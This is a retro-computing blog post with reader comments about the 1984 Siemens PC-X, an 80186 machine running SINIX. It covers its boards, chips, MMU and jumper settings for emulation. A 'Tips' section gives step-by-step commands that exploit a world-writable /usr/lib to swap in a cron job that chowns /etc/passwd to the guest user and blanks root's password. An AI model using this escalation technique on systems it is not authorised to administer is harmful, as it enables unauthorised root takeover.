Siemens PC-X

The Siemens PC-X  is an oddball from the very early days of the PC/XT world. And as you might have seen yourself browsing this page, I have a soft spot for the oddballs… ok, now for the facts:

It is based on the original “PC-D” design. Actually besides the ROM, the (optional) MMU, a slightly different graphics card and a hard drive as standard they’re the same… BUT the “X” came with SINIX,  Siemens’ XENIX based flavor of UNIX. That’s somewhat impressive when you check out the rather limited specs:

  • 8MHz i80186 CPU
  • 1MB RAM
  • 10-20MB hard drive (depending on drive used)
  •  640x350x1 bit Black on white display – that was very high-rez back then
Even Konrad Zuse had a PC-D 😉

Yes, the PC-X/D were one of the few machines using the 80186 instead of the “industry standard” 8088/8086.
That move seemed to be advanced but it was a step backwards actually, because all those machines were more or less incompatible to the available, ever-growing MS-DOS software library.
For the “X” model, it was even worse. Running SINIX you more or less totally depended on Siemens for getting Software. There was their own office suite and you could buy MS Word/Multiplan/Chart and dBase II from them. Well, pretty ok to run a multitasking( !) office system  in 1984. Here’s a video showing a Siemens PC-X booting into SINIX:


Because nearly everything was non-standard in this beast (graphics, expansion bus etc), its career didn’t take long. I love the keyboard, though. It looks very 80’s and is another example of German over-engineering: You can run over it with your car, it’ll still works – like an IBM Type M.

This is what you see as soon you opened the 0.8mm thick steel case – left 3rd the huge power-supply, front drive case, back the mezzanine bus:

PCX_1stlook

Remove the drive-cage (Left: BASF 6188 10MB MFM hard drive and right: TEAC FD-55FV floppy) and you’ll see the GPIB/RS232 expansion card – very simple NEC D7210 design – the external connector is marked “DFÜ” (German acronym for “Datenfernübertragung”, i.e. Modem and stuff) :

PCX_Serial

Next in the “stack” is the graphics card which also controls the keyboard. It seems to be different from the one used in the PC-D version. Left side a 8031 and a SCB2673 (Video attributes controller), 2 EPROMs (D39/40) and a 2k SRAM.
Right side, a SCN2672 (Programmable Video Timing Controller) with its own 8K EPROM (D12) and 4k of SRAM:

PCX_GraKa

Having removed that expansion board you have the full view of the main board – Bottom right the RAM, left the CPU, a WD2791 Floppy controller and of course the 80186 CPU and a C8207-8 memory controller (which I falsely identified as MMU) next to it:

PCX_Mainboard

If you also remove the power supply, you will find another odd thing (also a bit visible at the left edge of the above picture): A SCSI-to-MFM converter board, the “DTC 520B“. So SIEMENS decided it’s better to fit an MFM hard disk and this converter than using the on-board SCSI bus an provide an (expensive) SCSI drive. Mhhh…

PCX_SCSI2MFM

The reason to finally write this post is that I was asked for an image of SINIX and of the PC-X’s ROM to get the whole thing emulated in MESS.
So here are the ROM images of what I have. Maybe I’ll be able to add some more floppy images… stay tuned.

Other versions

While browsing the web, I came about another version of the mainboard and graphics-card. According to their model numbers and their design, they seem to be predecessors of my boards.

Here’s the mainboard. While mine has model W26361-D270-Z6-05-36, this one is marked -D270-Z6-02-05.
Many ICs are featuring a ceramic case. The RAM seems to be put on a separate PCB

PCX_AltMainbo_W26361

The graphics-card has more differences (mine is W26361-D310-Z4-03-5, this one is -D282-Z4-10-5. The ICs are placed differently, its design looks more cluttered and some ICs aren’t populated on the board at all.

PCX_AltGraKa_D282

Tips

If you got your SINIX running -maybe a previously installed version- and you cannot get root access here’s a hack to get root access  (assuming you can login as guest w/o password (commonly named ‘gast’).  It bases on a mistakenly set permission:

/usr/lib is writable for everybody

$ ls -ld /usr/lib 
drwxrwxrwx root /usr/lib

in there is a crontab file. Copy that to /tmp, delete the original and copy your version back to /usr/lib to make it yours:

$ cp /usr/lib/crontab /tmp
$ rm /usr/lib/crontab
$ cp /tmp/crontab /usr/lib

Now you can edit ‘your crontab’ with an editor (ced) and add one line like this:

* * * * * /bin/chown gast /etc/passwd

So after one minute /etc/passwd is yours, too.
Now you can remove roots (or admins) password by changing

root:cHuykydasds: (or something like that)

to

root::

Voilá, this SINIX is yours 😉

Another thing you might need is to move data in/out. The only initial way to do this is a tool called ‘trados‘. This can read/write 360KB (only!) DOS floppies. At least a start…

Next steps

Finally, when revisiting this machine after quite some years in my basement, there are some tempting things to check out:

  • Can I replace the DTC 520B and use a SCSI drive directly?
  • As the SRAMs on the graphics board are sitting in bigger sockets – what will happen if I use bigger SRAMs? This might be answered when the emulation is working and we can fiddle with the video firmware to use more SRAM.

17 thoughts on “Siemens PC-X”

  1. Any chance you could take hires shots of the graphics board. I’m trying to emulate it but having trouble figuring out what one 8031 external MMIO address is for and hope that maybe I can solve it by examining the PCB traces.

    BTW, the firmware sends the drive some what look to be vendor specific commands during boot so any replacement SCSI drive would have to support them. Also, the left side SRAM is used by the 8031 as IO buffer for host communication so expanding it would do nothing, not sure about the right side SRAMs which are VRAM. The PC-D has 32KB of VRAM but it can be switched into graphics mode which doesn’t appear possible on the PC-X.

    1. Hey CrazyC,
      You’ve got mail…. concerning the SCSI and 8031’s SRAM, I actually was expecting something like that.
      About the VRAM I had low hopes, too. given the lack of bitmap graphics, what should extra screen pages give besides fast ASCII animation 😉

  2. Thanks! I haven’t looked closely enough to see if more pages are possible but without patching the ROM, I wouldn’t be optimistic either. With more VRAM it could also have fast VT switching.

  3. The SINIX kernel sends a command ASSIGN DISK PARAMETERS (0xc2 on the DTC 520 and OMTI 5100 which appears functionally identical) with a chs geometry of 306,4,17 which is the geometry of the BASF 6188 and also of the likely more common ST-412 which might be a drop in replacement. If you wanted to replace the controller entirely there are sd card based drive emulators and if one had an customizable firmware…

  4. Hi…
    do you have the SINIX1.0 manuals for share? I would like to get a pdf or scan them

    Thanks for the the informations I got from here.

    Best Regards

    Fritz

  5. Hi Alex, we are a bit mystified about what the MMU is. In another picture gallery of a PC-D, that chip next to the CPU (with the same size) is revealed to be a simple Intel C8207-8 memory controller, not something complex like an MMU. We suspect that the MMU might actually rather be something like a daughterboard. Did you come across anything like that?

    1. Hi AnyFoo,

      the PC-X (Board S26361-D270-* / SYBAA) hasn’t an separate MMU-Board. Only a memory-board with 256KByte when the mainboard has 36 * 4164 (256KByte) base memory installed. With 36 * 41256 you got 1024KByte base memory without the memory expansion which is the allowed maximum of RAM.

      The PC-X10 (Board S6361-D359 / SYBAC) has the MMU extension called MMUAB (S26361-D323) but no connector for the memory expansion board.

      1. Hey Norbert,
        Thanks for this insight – I was bugged by the MAME team to find the MMU on my board of which I repeatedly claimed “there’s none!”. Now I have the official proof that I’m not blind 😉

        But who’s “AnyFoo”? 😛

  6. I’m anyfoo, Norbert was replying to me. Norbert, thanks a lot for your clarification. Do you mind if I ask you some more questions? Some are embedded in this comment.

    I’m not part of the MAME team by the way, I did my own research into the MMU and conversed with some members of the MAME team since they obviously had some insight already.

    The assumption that the MMU was its own board at least at some point was based on the version of the Service Manual for a PC-D that can be found online. It spells out a “Stiftleiste für MMU (beim PC-D nicht verwendet)”, unfortunately without any more information than that.

    But the service manual, upon inspection, shows two different mainboard layouts, and the layout that seems to correspond to both your machine here, and my machine that I have since acquired, appears to be missing that connector. The part numbers present in diagrams and photos also match up with the ones mentioned by Norbert.

    Before knowing that, I had actually already began to suspect that the MMU seemed to be present in the form of discrete logic chips as part of our mainboards themselves. For example, I am reasonably sure to have identified the 3 SRAM chips that effectively hold the page table entries. Norbert, you didn’t straight say that the MMU is onboard, but I assume that that’s what you mean with there not being a separate MMU board?

    The scan of the Service Manual says “S26361-L17-V” on the front, but it looks like some other pages were added to the ring binder prior to the manual’s original cover page. The (presumed older) diagram embedded deeply in the service manual has the part number ending in D359. The one added to the front has no part number, but matches pictures of “our” boards.

    Norbert, when I looked at both the BIOS ROMs and the SINIX 1.0/1.2 kernels, I noticed that the MMU tests in the BIOS ROMs seem to contain a test writing to an I/O port that, from the behavior of this particular test, leads me to believe that the MMU can not only trap on memory accesses, but also on (all?) I/O port accesses–which would make sense in order to prevent user space code to access hardware directly. However, both SINIX 1.0 and 1.2 never seem to access the dedicated I/O port which seemingly enables this feature, as far as I could tell, not in the return-to-user-space path nor elsewhere. That also matches someone’s recollection I once read that SINIX on the PC-D/X did not prevent you from crashing the system by accidentally accessing I/O ports. Is that the case? Was use of that feature planned for SINIX but never implemented?

    Another question I formed while looking at the kernel: SINIX 1.0 and 1.2 seem to have different widths of the task identifier, i.e. the page table entries are partitioned differently between the two. Yet I nor anyone else so far were able to find out the mechanism with which SINIX tells the MMU how to partition. I’m beginning to think that there was no software mechanism, and the task width was either chosen through the DIP switches, or maybe that lone jumper that sits about in the middle of what appears to be the on-board MMU. Any insight?

    Why am I so curious about all of this? The PC-D was my first PC. My father used to work for Siemens (not involved in the design of the machine as far as I know), and I have fond recollections of it. But beyond that I am very fascinated about it being an 80186 with a completely custom MMU, and was curious how that works exactly. As far as I can tell, there were not many x86+MMU solutions before the 286 came with its own, and all of those earlier solutions are interesting to me. The PC-D one even more so, since I’ve actively used it.

    1. Hi AnyFoo,

      The Service Documentation looks a little bit mixed up between the two PC-D versions and represents only MS-DOS…

      I don’t know anything about the used I/O-Ports from the “Urlader” or SINIX, but it could be possible that the Urlader has to check the MMU with a special port range and SINIX uses an other way to work with the MMU. Something like a construct with a mirror mapped port range. In the middle of the row between the “Urlader EPROMS” D93/D94 and the SCSI-Connector is the Jumper X8.

      The meaning is as follows:
      1-2 means: SINIX Version 1.2A

      If you didn’t change the setting to the correct SINIX version the system will crash…

      To use SINIX on the PC-X the MMU is mandatory.

      And yes, this is the reason why I think the board S26361-D270 (SYBAA) was initially designed to operate SINIX because of the existing jumper X8 I think the MMU is integrated on the board S26361-D270. This PC should also run the SIEMENS Version of MS-DOS because this version was able to use the 64KByte I/O Space but I assume the “Urlader EPROMs” on D93 and D94 has to be chnanged to a BIOS with the DOS used interrupt routines.

      And I also think, the board S26381-D359 (SYBAC) was redesigned to operate primary the SIEMENS Version of MS-DOS and MS-DOS didn’t need the MMU. If needed, the PC-D was upgrade-able to a PC-X10 with the S26361-D323 (MMUAB) and a optional Memory Upgrade from 512KByte to 1024KByte to operate SINIX but SINIX runs also with 512KByte. With this Board-Version the X8 Jumper has been moved from the Mainboard SYBAC to the MMU-Board MMUAB.

      Some of my former SIEMENS / SIEMENS-NIXDORF colleagues told me there is a routine in the “Urlader EPROMs” to copy the EPROMs into the same position of RAM and switch to the RAM because the access to the RAM is faster then the access to the EPROMs and SINIX is able to use the complete amount of RAM. I’ve never checked this story but I’ve no reason to disbelieve this.

      I think the Urlader must check the existence and functionality of the MMU because the system is ready to boot with the “**** TEST END ****” message which told the user: no fundamental errors found.

      Not really curious because I’ve learned by SIEMENS and worked many years for SIEMENS-NIXDORF. During this time I’ve learned the possibilities with UNIX / SINIX and I’m collecting this machines up to now.

      It is really fascinating to run SINIX on a 8086 or an 80186… 🙂 … and the PC-X is the oldest one in my SINIX collection which up and running.

  7. The Switch description for X8 was complete… Sorry for that.

    The meaning is as follows:
    1-2 means: SINIX less than Version 1.2A
    2-3 means: SINIX equal or grater than Version 1.2A

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.